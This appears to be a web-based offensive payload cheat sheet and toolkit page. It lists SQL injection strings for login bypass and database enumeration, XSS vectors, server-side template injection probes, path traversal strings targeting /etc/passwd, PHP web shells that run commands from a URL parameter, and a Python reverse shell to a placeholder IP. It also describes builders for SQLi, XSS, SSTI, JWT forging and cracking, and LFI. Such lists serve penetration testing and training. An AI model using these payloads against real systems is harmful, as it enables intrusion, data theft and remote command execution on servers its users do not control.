← Dashboard
👮 Authentication Bypass
' OR 1=1--
admin' --
admin' #
' OR '1'='1
🕵️ UNION Based
' UNION SELECT 1,2,3--
' UNION SELECT 1,version(),database()--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
💉 Basic XSS
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
javascript:alert(1)
🐍 Jinja2 (Python)
{{7*7}}
{{config.items()}}
{{''.__class__.__mro__[1].__subclasses__()}}
🔧 Java (Spring/Thymeleaf)
${7*7}
*{7*7}
OS badge = target OS
📁 Path Traversal
Linux ../../../../etc/passwd
Linux ....//....//....//etc/passwd
Linux php://filter/convert.base64-encode/resource=index.php
OS badge = target OS
🐘 PHP Shells
Linux <?php system($_GET['cmd']); ?>
Linux <?php echo shell_exec($_GET['cmd']); ?>
🐍 Python Reverse Shell
Linux import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

💉 SQLi Builder

Paste URL or raw request. Detects params and generates context payloads (auth bypass, UNION probe, error/time-based) per DBMS.
Results appear here…

🎯 XSS Context Builder

Pick injection context → polyglots + filter-bypass variants.
Results appear here…

🧪 SSTI Fingerprint

Paste probe→response lines (one per line). Identifies engine (Jinja2/Twig/FreeMarker/Velocity/Smarty/Mako/Thymeleaf) + shows RCE payloads.
Results appear here…

🔑 JWT Lab

Decode header/payload · alg:none / RS256→HS256 confusion · HS256 offline crack (10k wordlist + optional upload).
Results appear here…

📁 LFI / Path Traversal Builder

Generate depth traversal (Linux/Windows) + php://filter chains + wrappers.
Results appear here…

📨 Request Analyzer

Paste raw HTTP request → parse method/URL/headers/cookies/body → per-param suggested payloads + JWT/cookie inspection.
Results appear here…